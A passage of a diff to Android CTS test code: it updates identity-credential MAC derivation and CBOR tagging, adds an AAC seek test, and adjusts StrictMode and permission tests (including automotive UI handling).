- new byte[0], // payload
- deviceAuthenticationCbor); // additionalData
+ new byte[0], // payload
+ deviceAuthenticationBytes); // detached content
// Then compare it with what the TA produced.
assertArrayEquals(expectedMac, rd.getMessageAuthenticationCode());
@@ -304,10 +307,13 @@
resultCbor);
eMacKey = Util.calcEMacKeyForReader(
key4Cert.getPublicKey(),
- readerEphemeralKeyPair.getPrivate());
+ readerEphemeralKeyPair.getPrivate(),
+ sessionTranscript);
+ deviceAuthenticationBytes =
+ Util.prependSemanticTagForEncodedCbor(deviceAuthenticationCbor);
expectedMac = Util.coseMac0(eMacKey,
- new byte[0], // payload
- deviceAuthenticationCbor); // additionalData
+ new byte[0], // payload
+ deviceAuthenticationBytes); // detached content
assertArrayEquals(expectedMac, rd.getMessageAuthenticationCode());
// And again.... this time key0 should have been used. Check it.
@@ -436,10 +442,13 @@
resultCbor);
eMacKey = Util.calcEMacKeyForReader(
keyNewCert.getPublicKey(),
- readerEphemeralKeyPair.getPrivate());
+ readerEphemeralKeyPair.getPrivate(),
+ sessionTranscript);
+ deviceAuthenticationBytes =
+ Util.prependSemanticTagForEncodedCbor(deviceAuthenticationCbor);
expectedMac = Util.coseMac0(eMacKey,
- new byte[0], // payload
- deviceAuthenticationCbor); // additionalData
+ new byte[0], // payload
+ deviceAuthenticationBytes); // detached content
assertArrayEquals(expectedMac, rd.getMessageAuthenticationCode());
// ... and we're done. Clean up after ourselves.
diff --git a/tests/tests/identity/src/android/security/identity/cts/ReaderAuthTest.java b/tests/tests/identity/src/android/security/identity/cts/ReaderAuthTest.java
index 737f7719..ce5e311 100644
--- a/tests/tests/identity/src/android/security/identity/cts/ReaderAuthTest.java
+++ b/tests/tests/identity/src/android/security/identity/cts/ReaderAuthTest.java
@@ -440,8 +440,8 @@
byte[] sessionTranscriptBytes = Util.buildSessionTranscript(ephemeralKeyPair);
// Finally, create the structure that the reader signs, and sign it.
- byte[] dataToBeSignedByReader = Util.buildReaderAuthenticationCbor(sessionTranscriptBytes,
- requestMessage);
+ byte[] dataToBeSignedByReader =
+ Util.buildReaderAuthenticationBytesCbor(sessionTranscriptBytes, requestMessage);
byte[] readerSignature = Util.coseSign1Sign(readerKeyToSignWith.getPrivate(),
null, // payload
dataToBeSignedByReader, // detached content
diff --git a/tests/tests/identity/src/android/security/identity/cts/Util.java b/tests/tests/identity/src/android/security/identity/cts/Util.java
index 2586c65..df9a300 100644
--- a/tests/tests/identity/src/android/security/identity/cts/Util.java
+++ b/tests/tests/identity/src/android/security/identity/cts/Util.java
@@ -922,11 +922,11 @@
}
static byte[] buildDeviceAuthenticationCbor(String docType,
- byte[] sessionTranscriptBytes,
+ byte[] encodedSessionTranscript,
byte[] deviceNameSpacesBytes) {
ByteArrayOutputStream daBaos = new ByteArrayOutputStream();
try {
- ByteArrayInputStream bais = new ByteArrayInputStream(sessionTranscriptBytes);
+ ByteArrayInputStream bais = new ByteArrayInputStream(encodedSessionTranscript);
List<DataItem> dataItems = null;
dataItems = new CborDecoder(bais).decode();
DataItem sessionTranscript = dataItems.get(0);
@@ -946,13 +946,13 @@
return daBaos.toByteArray();
}
- static byte[] buildReaderAuthenticationCbor(
- byte[] sessionTranscriptBytes,
+ static byte[] buildReaderAuthenticationBytesCbor(
+ byte[] encodedSessionTranscript,
byte[] requestMessageBytes) {
ByteArrayOutputStream daBaos = new ByteArrayOutputStream();
try {
- ByteArrayInputStream bais = new ByteArrayInputStream(sessionTranscriptBytes);
+ ByteArrayInputStream bais = new ByteArrayInputStream(encodedSessionTranscript);
List<DataItem> dataItems = null;
dataItems = new CborDecoder(bais).decode();
DataItem sessionTranscript = dataItems.get(0);
@@ -968,22 +968,49 @@
} catch (CborException e) {
throw new RuntimeException("Error encoding ReaderAuthentication", e);
}
- return daBaos.toByteArray();
+ byte[] readerAuthentication = daBaos.toByteArray();
+ return Util.prependSemanticTagForEncodedCbor(readerAuthentication);
+ }
+
+ static byte[] prependSemanticTagForEncodedCbor(byte[] encodedCbor) {
+ ByteArrayOutputStream baos = new ByteArrayOutputStream();
+ try {
+ ByteString taggedBytestring = new ByteString(encodedCbor);
+ taggedBytestring.setTag(CBOR_SEMANTIC_TAG_ENCODED_CBOR);
+ new CborEncoder(baos).encode(taggedBytestring);
+ } catch (CborException e) {
+ throw new RuntimeException("Error encoding with semantic tag for CBOR encoding", e);
+ }
+ return baos.toByteArray();
+ }
+
+ static byte[] concatArrays(byte[] a, byte[] b) {
+ byte[] ret = new byte[a.length + b.length];
+ System.arraycopy(a, 0, ret, 0, a.length);
+ System.arraycopy(b, 0, ret, a.length, b.length);
+ return ret;
}
static SecretKey calcEMacKeyForReader(PublicKey authenticationPublicKey,
- PrivateKey ephemeralReaderPrivateKey) {
+ PrivateKey ephemeralReaderPrivateKey,
+ byte[] encodedSessionTranscript) {
try {
KeyAgreement ka = KeyAgreement.getInstance("ECDH");
ka.init(ephemeralReaderPrivateKey);
ka.doPhase(authenticationPublicKey, true);
byte[] sharedSecret = ka.generateSecret();
+ byte[] sessionTranscriptBytes =
+ Util.prependSemanticTagForEncodedCbor(encodedSessionTranscript);
+ byte[] sharedSecretWithSessionTranscriptBytes =
+ Util.concatArrays(sharedSecret, sessionTranscriptBytes);
+
byte[] salt = new byte[1];
byte[] info = new byte[0];
salt[0] = 0x00;
- byte[] derivedKey = Util.computeHkdf("HmacSha256", sharedSecret, salt, info, 32);
+ byte[] derivedKey = Util.computeHkdf("HmacSha256",
+ sharedSecretWithSessionTranscriptBytes, salt, info, 32);
SecretKey secretKey = new SecretKeySpec(derivedKey, "");
return secretKey;
} catch (InvalidKeyException
diff --git a/tests/tests/media/res/raw/sine_2ch_48khz_aot42_seek_mp4.m4a b/tests/tests/media/res/raw/sine_2ch_48khz_aot42_seek_mp4.m4a
new file mode 100644
index 0000000..c0d5056
--- /dev/null
+++ b/tests/tests/media/res/raw/sine_2ch_48khz_aot42_seek_mp4.m4a
Binary files differ
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
index 0b4dee5..8536f30 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
@@ -559,6 +559,38 @@
}
}
+
+ /**
+ * Verify that seeking works correctly for USAC.
+ * Sync samples have to be taken into consideration.
+ */
+ @Test
+ public void testDecodeUsacSyncSampleSeekingM4a() throws Exception {
+ Log.v(TAG, "START testDecodeUsacSyncSampleSeekingM4a");
+
+ assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
+
+ for (String aacDecName : sAacDecoderNames) {
+ try {
+ runDecodeUsacSyncSampleSeekingM4a(aacDecName);
+ } catch (Error err) {
+ throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
+ }
+ }
+ }
+
+ private void runDecodeUsacSyncSampleSeekingM4a(String aacDecName) throws Exception {
+ Log.v(TAG, "testDecodeUsacSyncSampleSeekingM4a running for dec=" + aacDecName);
+ // test usac seeking
+ try {
+ checkUsacSyncSampleSeeking(R.raw.sine_2ch_48khz_aot42_seek_mp4, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacSyncSampleSeekingM4a failed for dec=" + aacDecName);
+ throw new RuntimeException(e);
+ }
+ Log.v(TAG, "testDecodeUsacSyncSampleSeekingM4a running for dec=" + aacDecName);
+ }
+
/**
* Internal utilities
*/
@@ -796,6 +828,17 @@
}
}
+ private void checkUsacSyncSampleSeeking(int testInput, String decoderName) throws Exception {
+
+ AudioParameter decParams = new AudioParameter();
+ DrcParams drcParams_def = new DrcParams();
+
+ short[] decSamples_seek_next_sync = decodeToMemory(decParams, testInput, -1, null,
+ drcParams_def, decoderName, false, -2, true, 1100000,
+ MediaExtractor.SEEK_TO_NEXT_SYNC);
+ float[] nrg_seek_next_sync = checkEnergyUSAC(decSamples_seek_next_sync, decParams, 2, 1);
+ }
+
/**
* Perform a segmented energy analysis on given audio signal samples and run several tests on
* the energy values.
@@ -1172,11 +1215,16 @@
* before starting to decode
* @param expectedOutputLoudness value to check if the correct output loudness is returned
* by the decoder
+ * @param seek_enable defines whether there will be an initial seek
+ * @param seek_duration seeking duration in microseconds
+ * @param seek_mode seeking mode
+ *
* @throws RuntimeException
*/
public short[] decodeToMemory(AudioParameter audioParams, int testinput, int eossample,
List<Long> timestamps, DrcParams drcParams, String decoderName, boolean runtimeChange,
- int expectedOutputLoudness) throws IOException {
+ int expectedOutputLoudness,
+ boolean seek_enable, int seek_duration, int seek_mode) throws IOException {
// TODO: code is the same as in DecoderTest, differences are:
// - addition of application of DRC parameters
// - no need/use of resetMode, configMode
@@ -1285,6 +1333,12 @@
extractor.selectTrack(0);
+ // execute initial seeking if specified
+ if (seek_enable) {
+ codec.flush();
+ extractor.seekTo(seek_duration, seek_mode);
+ }
+
// start decoding
final long kTimeOutUs = 5000;
MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
@@ -1436,7 +1490,7 @@
throws IOException
{
final short[] decoded = decodeToMemory(audioParams, testinput, eossample, timestamps,
- drcParams, decoderName, false, -2);
+ drcParams, decoderName, false, -2, false, 0, 0);
return decoded;
}
@@ -1446,9 +1500,18 @@
throws IOException
{
final short[] decoded = decodeToMemory(audioParams, testinput, eossample, timestamps,
- drcParams, decoderName, runtimeChange, -2);
+ drcParams, decoderName, runtimeChange, -2, false, 0, 0);
return decoded;
}
+ private short[] decodeToMemory(AudioParameter audioParams, int testinput,
+ int eossample, List<Long> timestamps, DrcParams drcParams, String decoderName,
+ boolean runtimeChange, int expectedOutputLoudness)
+ throws IOException
+ {
+ short [] decoded = decodeToMemory(audioParams, testinput, eossample, timestamps, drcParams,
+ decoderName, runtimeChange, expectedOutputLoudness, false, 0, 0);
+ return decoded;
+ }
}
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java b/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java
index 58eec3e..f6ac4f7 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecBlockModelTest.java
@@ -59,6 +59,7 @@
/**
* MediaCodec tests with CONFIGURE_FLAG_USE_BLOCK_MODEL.
*/
+@NonMediaMainlineTest
public class MediaCodecBlockModelTest extends AndroidTestCase {
private static final String TAG = "MediaCodecBlockModelTest";
private static final boolean VERBOSE = false; // lots of logging
diff --git a/tests/tests/os/Android.bp b/tests/tests/os/Android.bp
index e04630b..b118392 100644
--- a/tests/tests/os/Android.bp
+++ b/tests/tests/os/Android.bp
@@ -26,7 +26,6 @@
"truth-prebuilt",
"guava",
"junit",
- "CtsMockInputMethodLib"
],
jni_uses_platform_apis: true,
jni_libs: [
diff --git a/tests/tests/os/CtsOsTestCases.xml b/tests/tests/os/CtsOsTestCases.xml
index 7ce85d6..3718c59 100644
--- a/tests/tests/os/CtsOsTestCases.xml
+++ b/tests/tests/os/CtsOsTestCases.xml
@@ -22,15 +22,6 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsOsTestCases.apk" />
</target_preparer>
- <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
- <option name="cleanup-apks" value="true" />
- <option name="force-install-mode" value="FULL"/>
- <option name="test-file-name" value="CtsMockInputMethod.apk" />
- </target_preparer>
- <target_preparer class="com.android.tradefed.targetprep.DeviceSetup">
- <option name="screen-always-on" value="on" />
- </target_preparer>
-
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.os.cts" />
<option name="runtime-hint" value="3m15s" />
diff --git a/tests/tests/os/src/android/os/cts/SimpleTestActivity.java b/tests/tests/os/src/android/os/cts/SimpleTestActivity.java
index 22c706f..4242315 100644
--- a/tests/tests/os/src/android/os/cts/SimpleTestActivity.java
+++ b/tests/tests/os/src/android/os/cts/SimpleTestActivity.java
@@ -16,30 +16,7 @@
package android.os.cts;
-import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_VISIBLE;
-
import android.app.Activity;
-import android.os.Bundle;
-import android.widget.EditText;
-import android.widget.LinearLayout;
public class SimpleTestActivity extends Activity {
- private EditText mEditText;
-
- @Override
- protected void onCreate(Bundle icicle) {
- super.onCreate(icicle);
- mEditText = new EditText(this);
- final LinearLayout layout = new LinearLayout(this);
- layout.setOrientation(LinearLayout.VERTICAL);
- layout.addView(mEditText);
- setContentView(layout);
- }
-
- @Override
- protected void onResume() {
- super.onResume();
- getWindow().setSoftInputMode(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
- mEditText.requestFocus();
- }
}
\ No newline at end of file
diff --git a/tests/tests/os/src/android/os/cts/StrictModeTest.java b/tests/tests/os/src/android/os/cts/StrictModeTest.java
index b1023f6..8ed37ca 100644
--- a/tests/tests/os/src/android/os/cts/StrictModeTest.java
+++ b/tests/tests/os/src/android/os/cts/StrictModeTest.java
@@ -17,15 +17,9 @@
package android.os.cts;
import static android.content.Context.WINDOW_SERVICE;
-import static android.content.pm.PackageManager.FEATURE_INPUT_METHODS;
import static android.view.Display.DEFAULT_DISPLAY;
import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
-import static com.android.cts.mockime.ImeEventStreamTestUtils.clearAllEvents;
-import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
-import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
-import static com.android.cts.mockime.ImeEventStreamTestUtils.notExpectEvent;
-
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
@@ -38,7 +32,7 @@
import android.content.Intent;
import android.content.ServiceConnection;
import android.content.pm.PackageManager;
-import android.content.res.Configuration;
+import android.content.res.Resources;
import android.hardware.display.DisplayManager;
import android.inputmethodservice.InputMethodService;
import android.net.TrafficStats;
@@ -69,16 +63,10 @@
import android.view.ViewConfiguration;
import android.view.WindowManager;
-import androidx.annotation.IntDef;
import androidx.test.core.app.ApplicationProvider;
import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.runner.AndroidJUnit4;
-import com.android.cts.mockime.ImeEvent;
-import com.android.cts.mockime.ImeEventStream;
-import com.android.cts.mockime.ImeSettings;
-import com.android.cts.mockime.MockImeSession;
-
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
@@ -90,8 +78,6 @@
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
import java.net.HttpURLConnection;
import java.net.Socket;
import java.net.URL;
@@ -110,49 +96,10 @@
public class StrictModeTest {
private static final String TAG = "StrictModeTest";
private static final String REMOTE_SERVICE_ACTION = "android.app.REMOTESERVICE";
- private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(10); // 10 seconds
- private static final long NOT_EXPECT_TIMEOUT = TimeUnit.SECONDS.toMillis(2);
private StrictMode.ThreadPolicy mThreadPolicy;
private StrictMode.VmPolicy mVmPolicy;
- /**
- * Verify mode to verifying if APIs violates incorrect context violation.
- *
- * @see #VERIFY_MODE_GET_DISPLAY
- * @see #VERIFY_MODE_GET_WINDOW_MANAGER
- * @see #VERIFY_MODE_GET_VIEW_CONFIGURATION
- */
- @Retention(RetentionPolicy.SOURCE)
- @IntDef(flag = true, value = {
- VERIFY_MODE_GET_DISPLAY,
- VERIFY_MODE_GET_WINDOW_MANAGER,
- VERIFY_MODE_GET_VIEW_CONFIGURATION,
- })
- private @interface VerifyMode {}
-
- /**
- * Verifies if {@link Context#getDisplay} from {@link InputMethodService} and context created
- * from {@link InputMethodService#createConfigurationContext(Configuration)} violates
- * incorrect context violation.
- */
- private static final int VERIFY_MODE_GET_DISPLAY = 1;
- /**
- * Verifies if get {@link android.view.WindowManager} from {@link InputMethodService} and
- * context created from {@link InputMethodService#createConfigurationContext(Configuration)}
- * violates incorrect context violation.
- *
- * @see Context#getSystemService(String)
- * @see Context#getSystemService(Class)
- */
- private static final int VERIFY_MODE_GET_WINDOW_MANAGER = 2;
- /**
- * Verifies if passing {@link InputMethodService} and context created
- * from {@link InputMethodService#createConfigurationContext(Configuration)} to
- * {@link android.view.ViewConfiguration#get(Context)} violates incorrect context violation.
- */
- private static final int VERIFY_MODE_GET_VIEW_CONFIGURATION = 3;
-
private Context getContext() {
return ApplicationProvider.getApplicationContext();
}
@@ -700,9 +647,6 @@
final Activity activity = InstrumentationRegistry.getInstrumentation()
.startActivitySync(intent);
assertNoViolation(() -> activity.getSystemService(WINDOW_SERVICE));
-
- // TODO(b/159593676): move the logic to CtsInputMethodTestCases
- verifyIms(VERIFY_MODE_GET_WINDOW_MANAGER);
}
@Test
@@ -725,13 +669,10 @@
Intent intent = new Intent(getContext(), SimpleTestActivity.class);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-
final Activity activity = InstrumentationRegistry.getInstrumentation()
.startActivitySync(intent);
assertNoViolation(() -> activity.getDisplay());
- // TODO(b/159593676): move the logic to CtsInputMethodTestCases
- verifyIms(VERIFY_MODE_GET_DISPLAY);
try {
getContext().getApplicationContext().getDisplay();
} catch (UnsupportedOperationException e) {
@@ -750,14 +691,14 @@
final Context baseContext = getContext();
assertViolation(
- "Tried to access UI constants from a non-visual Context:",
+ "Tried to access UI constants from a non-visual Context.",
() -> ViewConfiguration.get(baseContext));
final Display display = baseContext.getSystemService(DisplayManager.class)
.getDisplay(DEFAULT_DISPLAY);
final Context displayContext = baseContext.createDisplayContext(display);
assertViolation(
- "Tried to access UI constants from a non-visual Context:",
+ "Tried to access UI constants from a non-visual Context.",
() -> ViewConfiguration.get(displayContext));
final Context windowContext =
@@ -770,55 +711,14 @@
.startActivitySync(intent);
assertNoViolation(() -> ViewConfiguration.get(activity));
- // TODO(b/159593676): move the logic to CtsInputMethodTestCases
- verifyIms(VERIFY_MODE_GET_VIEW_CONFIGURATION);
+ final TestInputMethodService ims = new TestInputMethodService(getContext());
+ assertNoViolation(() -> ViewConfiguration.get(ims));
}
- // TODO(b/159593676): move the logic to CtsInputMethodTestCases
- /**
- * Verify if APIs violates incorrect context violations by {@code mode}.
- *
- * @see VerifyMode
- */
- private void verifyIms(@VerifyMode int mode) throws Exception {
- // If devices do not support installable IMEs, finish the test gracefully. We don't use
- // assumeTrue here because we do pass some cases, so showing "pass" instead of "skip" makes
- // sense here.
- if (!supportsInstallableIme()) {
- return;
+ private static class TestInputMethodService extends InputMethodService {
+ private TestInputMethodService(Context baseContext) {
+ attachBaseContext(baseContext);
}
-
- try (final MockImeSession imeSession = MockImeSession.create(getContext(),
- InstrumentationRegistry.getInstrumentation().getUiAutomation(),
- new ImeSettings.Builder().setStrictModeEnabled(true))) {
- final ImeEventStream stream = imeSession.openEventStream();
- expectEvent(stream, event -> "onStartInput".equals(event.getEventName()), TIMEOUT);
- final ImeEventStream forkedStream = clearAllEvents(stream, "onStrictModeViolated");
- final ImeEvent imeEvent;
- switch (mode) {
- case VERIFY_MODE_GET_DISPLAY:
- imeEvent = expectCommand(forkedStream, imeSession.callVerifyGetDisplay(),
- TIMEOUT);
- break;
- case VERIFY_MODE_GET_WINDOW_MANAGER:
- imeEvent = expectCommand(forkedStream, imeSession.callVerifyGetWindowManager(),
- TIMEOUT);
- break;
- case VERIFY_MODE_GET_VIEW_CONFIGURATION:
- imeEvent = expectCommand(forkedStream,
- imeSession.callVerifyGetViewConfiguration(), TIMEOUT);
- break;
- default:
- imeEvent = null;
- }
- assertTrue(imeEvent.getReturnBooleanValue());
- notExpectEvent(stream, event -> "onStrictModeViolated".equals(event.getEventName()),
- NOT_EXPECT_TIMEOUT);
- }
- }
-
- private boolean supportsInstallableIme() {
- return getContext().getPackageManager().hasSystemFeature(FEATURE_INPUT_METHODS);
}
private static void runWithRemoteServiceBound(Context context, Consumer<ISecondary> consumer)
diff --git a/tests/tests/permission/src/android/permission/cts/IgnoreAllTestsRule.java b/tests/tests/permission/src/android/permission/cts/IgnoreAllTestsRule.java
new file mode 100644
index 0000000..45288bd
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/IgnoreAllTestsRule.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts;
+
+import org.junit.rules.MethodRule;
+import org.junit.runners.model.FrameworkMethod;
+import org.junit.runners.model.Statement;
+
+/**
+ * A {@link org.junit.Rule} that will cause all tests in the class
+ * to be ignored if the argument to the constructor is true.
+ */
+public class IgnoreAllTestsRule implements MethodRule {
+
+ private boolean mIgnore;
+
+ /**
+ * Creates a new IgnoreAllTestsRule
+ * @param ignore If true, all tests in the class will be ignored. If false, this rule will
+ * do nothing.
+ */
+ public IgnoreAllTestsRule(boolean ignore) {
+ mIgnore = ignore;
+ }
+
+ @Override
+ public Statement apply(Statement base, FrameworkMethod method, Object target) {
+ if (mIgnore) {
+ return new Statement() {
+ @Override
+ public void evaluate() throws Throwable {
+ }
+ };
+ } else {
+ return base;
+ }
+ }
+}
diff --git a/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java b/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
index 656f6ad..5670cc1 100644
--- a/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/OneTimePermissionTest.java
@@ -43,6 +43,7 @@
import org.junit.After;
import org.junit.Assert;
import org.junit.Before;
+import org.junit.Rule;
import org.junit.Test;
import java.util.concurrent.CompletableFuture;
@@ -70,6 +71,10 @@
private String mOldOneTimePermissionTimeoutValue;
+ @Rule
+ public IgnoreAllTestsRule mIgnoreAutomotive = new IgnoreAllTestsRule(
+ mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
+
@Before
public void wakeUpScreen() {
SystemUtil.runShellCommand("input keyevent KEYCODE_WAKEUP");
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index 18224dd..5450014 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -66,8 +66,8 @@
= "android.permission.HIDE_NON_SYSTEM_OVERLAY_WINDOWS";
private static final Date MANAGE_COMPANION_DEVICES_PATCH_DATE = parseDate("2020-07-01");
- private static final String MANAGE_COMPANION_DEVICES_PERMISSION =
- "android.Manifest.permission.MANAGE_COMPANION_DEVICES";
+ private static final String MANAGE_COMPANION_DEVICES_PERMISSION
+ = "android.permission.MANAGE_COMPANION_DEVICES";
private static final String LOG_TAG = "PermissionProtectionTest";
diff --git a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
index 47c1323..f4f97f71 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
@@ -21,6 +21,11 @@
import android.content.Context
import android.content.Intent
import android.content.pm.PackageManager
+import android.content.pm.PackageManager.MATCH_DIRECT_BOOT_AWARE
+import android.content.pm.PackageManager.MATCH_DIRECT_BOOT_UNAWARE
+import android.content.pm.PackageManager.MATCH_SYSTEM_ONLY
+import android.content.pm.ResolveInfo
+import android.content.res.Resources
import android.provider.Settings
import android.support.test.uiautomator.By
import android.support.test.uiautomator.BySelector
@@ -52,6 +57,8 @@
protected val uiAutomation: UiAutomation = instrumentation.uiAutomation
protected val uiDevice: UiDevice = UiDevice.getInstance(instrumentation)
protected val packageManager: PackageManager = context.packageManager
+ private val mPermissionControllerResources: Resources = context.createPackageContext(
+ getPermissionControllerPackageName(), 0).resources
@get:Rule
val activityRule = ActivityTestRule(StartForFutureActivity::class.java, false, false)
@@ -87,6 +94,27 @@
pressHome()
}
+ protected fun getPermissionControllerString(res: String): String =
+ mPermissionControllerResources.getString(mPermissionControllerResources
+ .getIdentifier(res, "string", "com.android.permissioncontroller"))
+
+ private fun getPermissionControllerPackageName(): String {
+ val intent = Intent("android.intent.action.MANAGE_PERMISSIONS")
+ intent.addCategory(Intent.CATEGORY_DEFAULT)
+ val packageManager: PackageManager = context.getPackageManager()
+ val matches: List<ResolveInfo> = packageManager.queryIntentActivities(intent,
+ MATCH_SYSTEM_ONLY or MATCH_DIRECT_BOOT_AWARE or MATCH_DIRECT_BOOT_UNAWARE)
+ return if (matches.size == 1) {
+ val resolveInfo: ResolveInfo = matches[0]
+ if (!resolveInfo.activityInfo.applicationInfo.isPrivilegedApp()) {
+ throw RuntimeException("The permissions manager must be a privileged app")
+ }
+ matches[0].activityInfo.packageName
+ } else {
+ throw RuntimeException("There must be exactly one permissions manager; found $matches")
+ }
+ }
+
protected fun installPackage(
apkPath: String,
reinstall: Boolean = false,
@@ -117,8 +145,8 @@
return UiAutomatorUtils.waitFindObject(selector, timeoutMillis)
}
- protected fun click(selector: BySelector) {
- waitFindObject(selector).click()
+ protected fun click(selector: BySelector, timeoutMillis: Long = 10_000) {
+ waitFindObject(selector, timeoutMillis).click()
waitForIdle()
}
diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
index 1f074fc..25e8962 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
@@ -68,6 +68,13 @@
const val NO_UPGRADE_AND_DONT_ASK_AGAIN_BUTTON =
"com.android.permissioncontroller:" +
"id/permission_no_upgrade_and_dont_ask_again_button"
+
+ const val ALLOW_BUTTON_TEXT = "grant_dialog_button_allow"
+ const val ALLOW_FOREGROUND_BUTTON_TEXT = "grant_dialog_button_allow_foreground"
+ const val DENY_BUTTON_TEXT = "grant_dialog_button_deny"
+ const val DENY_AND_DONT_ASK_AGAIN_BUTTON_TEXT =
+ "grant_dialog_button_deny_and_dont_ask_again"
+ const val NO_UPGRADE_AND_DONT_ASK_AGAIN_BUTTON_TEXT = "grant_dialog_button_no_upgrade"
}
enum class PermissionState {
@@ -78,6 +85,7 @@
protected val isTv = packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
protected val isWatch = packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)
+ protected val isAutomotive = packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
private val platformResources = context.createPackageContext("android", 0).resources
private val permissionToLabelResNameMap =
@@ -192,11 +200,21 @@
protected fun clearTargetSdkWarning() =
click(By.res("android:id/button1"))
- protected fun clickPermissionReviewContinue() =
- click(By.res("com.android.permissioncontroller:id/continue_button"))
+ protected fun clickPermissionReviewContinue() {
+ if (isAutomotive) {
+ click(By.text(getPermissionControllerString("review_button_continue")))
+ } else {
+ click(By.res("com.android.permissioncontroller:id/continue_button"))
+ }
+ }
- protected fun clickPermissionReviewCancel() =
- click(By.res("com.android.permissioncontroller:id/cancel_button"))
+ protected fun clickPermissionReviewCancel() {
+ if (isAutomotive) {
+ click(By.text(getPermissionControllerString("review_button_cancel")))
+ } else {
+ click(By.res("com.android.permissioncontroller:id/cancel_button"))
+ }
+ }
protected fun approvePermissionReview() {
startAppActivityAndAssertResultCode(Activity.RESULT_OK) {
@@ -300,30 +318,55 @@
block
)
- protected fun clickPermissionRequestAllowButton() =
- click(By.res(ALLOW_BUTTON))
+ protected fun clickPermissionRequestAllowButton() {
+ if (isAutomotive) {
+ click(By.text(getPermissionControllerString(ALLOW_BUTTON_TEXT)))
+ } else {
+ click(By.res(ALLOW_BUTTON))
+ }
+ }
protected fun clickPermissionRequestSettingsLinkAndAllowAlways() {
+ clickPermissionRequestSettingsLink()
eventually({
- clickPermissionRequestSettingsLink()
clickAllowAlwaysInSettings()
}, TIMEOUT_MILLIS * 2)
pressBack()
}
protected fun clickAllowAlwaysInSettings() {
- click(By.res("com.android.permissioncontroller:id/allow_always_radio_button"))
+ if (isAutomotive) {
+ click(By.text(getPermissionControllerString("app_permission_button_allow_always")))
+ } else {
+ click(By.res("com.android.permissioncontroller:id/allow_always_radio_button"))
+ }
}
- protected fun clickPermissionRequestAllowForegroundButton() =
- click(By.res(ALLOW_FOREGROUND_BUTTON))
+ protected fun clickPermissionRequestAllowForegroundButton(timeoutMillis: Long = 10_000) {
+ if (isAutomotive) {
+ click(By.text(
+ getPermissionControllerString(ALLOW_FOREGROUND_BUTTON_TEXT)), timeoutMillis)
+ } else {
+ click(By.res(ALLOW_FOREGROUND_BUTTON), timeoutMillis)
+ }
+ }
- protected fun clickPermissionRequestDenyButton() =
- click(By.res(DENY_BUTTON))
+ protected fun clickPermissionRequestDenyButton() {
+ if (isAutomotive) {
+ click(By.text(getPermissionControllerString(DENY_BUTTON_TEXT)))
+ } else {
+ click(By.res(DENY_BUTTON))
+ }
+ }
protected fun clickPermissionRequestSettingsLinkAndDeny() {
clickPermissionRequestSettingsLink()
- click(By.res("com.android.permissioncontroller:id/deny_radio_button"))
+ if (isAutomotive) {
+ click(By.text(getPermissionControllerString("app_permission_button_deny")))
+ } else {
+ click(By.res("com.android.permissioncontroller:id/deny_radio_button"))
+ }
+ waitForIdle()
pressBack()
}
@@ -331,9 +374,15 @@
